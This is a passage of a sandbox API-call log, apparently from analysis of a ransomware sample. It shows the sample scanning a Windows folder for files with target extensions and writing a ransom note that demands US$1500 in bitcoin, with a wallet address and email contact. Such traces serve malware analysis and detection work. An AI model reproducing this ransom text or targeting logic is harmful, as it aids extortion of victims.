(pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.m4a") returned 0 [0126.237] lstrlenA (lpString="*.m4a") returned 5 [0126.237] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.csv") returned 0 [0126.237] lstrlenA (lpString="*.csv") returned 5 [0126.237] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.238] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LoadAssembly.ps1") returned 1 [0126.238] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LoadAssembly.ps1") returned 1 [0126.238] lstrcmpiA (lpString1="", lpString2="CL_LoadAssembly.ps1") returned -1 [0126.238] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1") returned="CL_Invocation.ps1" [0126.238] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.238] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.238] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.238] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.239] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.239] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.239] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.239] CloseHandle (hObject=0xffffffff) returned 0 [0126.239] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_LoadAssembly.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1" [0126.239] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.ems") returned 0 [0126.239] lstrlenA (lpString="*.ems") returned 5 [0126.239] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.db") returned 0 [0126.240] lstrlenA (lpString="*.db") returned 4 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.dbf") returned 0 [0126.240] lstrlenA (lpString="*.dbf") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.myox") returned 0 [0126.240] lstrlenA (lpString="*.myox") returned 6 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.myo") returned 0 [0126.240] lstrlenA (lpString="*.myo") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qbw") returned 0 [0126.240] lstrlenA (lpString="*.qbw") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qbb") returned 0 [0126.240] lstrlenA (lpString="*.qbb") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qbm") returned 0 [0126.240] lstrlenA (lpString="*.qbm") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qbo") returned 0 [0126.240] lstrlenA (lpString="*.qbo") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qbx") returned 0 [0126.240] lstrlenA (lpString="*.qbx") returned 5 [0126.240] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qba") returned 0 [0126.241] lstrlenA (lpString="*.qba") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qby") returned 0 [0126.241] lstrlenA (lpString="*.qby") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qbj") returned 0 [0126.241] lstrlenA (lpString="*.qbj") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.ofx") returned 0 [0126.241] lstrlenA (lpString="*.ofx") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.qif") returned 0 [0126.241] lstrlenA (lpString="*.qif") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.mye") returned 0 [0126.241] lstrlenA (lpString="*.mye") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.mbox") returned 0 [0126.241] lstrlenA (lpString="*.mbox") returned 6 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.eml") returned 0 [0126.241] lstrlenA (lpString="*.eml") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.pst") returned 0 [0126.241] lstrlenA (lpString="*.pst") returned 5 [0126.241] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.ost") returned 0 [0126.241] lstrlenA (lpString="*.ost") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.idx") returned 0 [0126.242] lstrlenA (lpString="*.idx") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.dbx") returned 0 [0126.242] lstrlenA (lpString="*.dbx") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.sql") returned 0 [0126.242] lstrlenA (lpString="*.sql") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.mdb") returned 0 [0126.242] lstrlenA (lpString="*.mdb") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.fdb") returned 0 [0126.242] lstrlenA (lpString="*.fdb") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.wab") returned 0 [0126.242] lstrlenA (lpString="*.wab") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.dat") returned 0 [0126.242] lstrlenA (lpString="*.dat") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.txt") returned 0 [0126.242] lstrlenA (lpString="*.txt") returned 5 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.jpeg") returned 0 [0126.242] lstrlenA (lpString="*.jpeg") returned 6 [0126.242] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.jpg") returned 0 [0126.243] lstrlenA (lpString="*.jpg") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.png") returned 0 [0126.243] lstrlenA (lpString="*.png") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.php") returned 0 [0126.243] lstrlenA (lpString="*.php") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.cs") returned 0 [0126.243] lstrlenA (lpString="*.cs") returned 4 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.cpp") returned 0 [0126.243] lstrlenA (lpString="*.cpp") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.rar") returned 0 [0126.243] lstrlenA (lpString="*.rar") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.zip") returned 0 [0126.243] lstrlenA (lpString="*.zip") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.html") returned 0 [0126.243] lstrlenA (lpString="*.html") returned 6 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.htm") returned 0 [0126.243] lstrlenA (lpString="*.htm") returned 5 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.xlsx") returned 0 [0126.243] lstrlenA (lpString="*.xlsx") returned 6 [0126.243] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.xls") returned 0 [0126.244] lstrlenA (lpString="*.xls") returned 5 [0126.244] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.mp4") returned 0 [0126.244] lstrlenA (lpString="*.mp4") returned 5 [0126.244] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.ppt") returned 0 [0126.244] lstrlenA (lpString="*.ppt") returned 5 [0126.244] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.pptx") returned 0 [0126.244] lstrlenA (lpString="*.pptx") returned 6 [0126.244] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.doc") returned 0 [0126.244] lstrlenA (lpString="*.doc") returned 5 [0126.244] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.dot") returned 0 [0126.244] lstrlenA (lpString="*.dot") returned 5 [0126.244] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1", pszSpec="*.docx") returned 0 [0126.245] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.245] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_RegSnapin.ps1") returned 1 [0126.245] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_RegSnapin.ps1") returned 1 [0126.245] lstrcmpiA (lpString1="", lpString2="CL_RegSnapin.ps1") returned -1 [0126.245] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_LoadAssembly.ps1") returned="CL_LoadAssembly.ps1" [0126.245] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.245] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.245] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.245] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.245] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.246] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.246] CloseHandle (hObject=0xffffffff) returned 0 [0126.246] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_RegSnapin.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_RegSnapin.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_RegSnapin.ps1" [0126.246] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_RegSnapin.ps1", pszSpec="*.ems") returned 0 [0126.246] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.246] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_RunDiagnosticScript.ps1") returned 1 [0126.246] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_RunDiagnosticScript.ps1") returned 1 [0126.246] lstrcmpiA (lpString1="", lpString2="CL_RunDiagnosticScript.ps1") returned -1 [0126.246] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_RegSnapin.ps1") returned="CL_RegSnapin.ps1" [0126.246] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.247] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.247] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.247] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.247] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.247] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.247] CloseHandle (hObject=0xffffffff) returned 0 [0126.247] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_RunDiagnosticScript.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_RunDiagnosticScript.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_RunDiagnosticScript.ps1" [0126.247] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_RunDiagnosticScript.ps1", pszSpec="*.ems") returned 0 [0126.248] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.248] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Utility.ps1") returned 1 [0126.248] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Utility.ps1") returned 1 [0126.248] lstrcmpiA (lpString1="", lpString2="CL_Utility.ps1") returned -1 [0126.248] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_RunDiagnosticScript.ps1") returned="CL_RunDiagnosticScript.ps1" [0126.248] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.248] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.248] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.248] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.248] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.249] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.249] CloseHandle (hObject=0xffffffff) returned 0 [0126.249] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_Utility.ps1" [0126.249] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Utility.ps1", pszSpec="*.ems") returned 0 [0126.249] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.249] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_VideoMemory.ps1") returned 1 [0126.249] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_VideoMemory.ps1") returned 1 [0126.249] lstrcmpiA (lpString1="", lpString2="CL_VideoMemory.ps1") returned -1 [0126.249] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.249] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.249] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.249] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.249] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.250] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.250] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.250] CloseHandle (hObject=0xffffffff) returned 0 [0126.250] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_VideoMemory.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_VideoMemory.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_VideoMemory.ps1" [0126.250] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_VideoMemory.ps1", pszSpec="*.ems") returned 0 [0126.250] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.250] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_WinSAT.ps1") returned 1 [0126.251] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_WinSAT.ps1") returned 1 [0126.251] lstrcmpiA (lpString1="", lpString2="CL_WinSAT.ps1") returned -1 [0126.251] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_VideoMemory.ps1") returned="CL_VideoMemory.ps1" [0126.251] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.251] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.251] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.251] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.251] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.251] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.251] CloseHandle (hObject=0xffffffff) returned 0 [0126.252] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_WinSAT.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_WinSAT.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_WinSAT.ps1" [0126.252] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_WinSAT.ps1", pszSpec="*.ems") returned 0 [0126.252] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.252] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DesktopWindowsMgmt.dll") returned 1 [0126.252] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DesktopWindowsMgmt.dll") returned 1 [0126.252] lstrcmpiA (lpString1="", lpString2="DesktopWindowsMgmt.dll") returned -1 [0126.252] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_WinSAT.ps1") returned="CL_WinSAT.ps1" [0126.252] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.252] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.252] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.252] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.252] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.253] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.253] CloseHandle (hObject=0xffffffff) returned 0 [0126.253] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="DesktopWindowsMgmt.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\DesktopWindowsMgmt.dll") returned="C:\\Windows\\diagnostics\\system\\AERO\\DesktopWindowsMgmt.dll" [0126.253] PathMatchSpecA 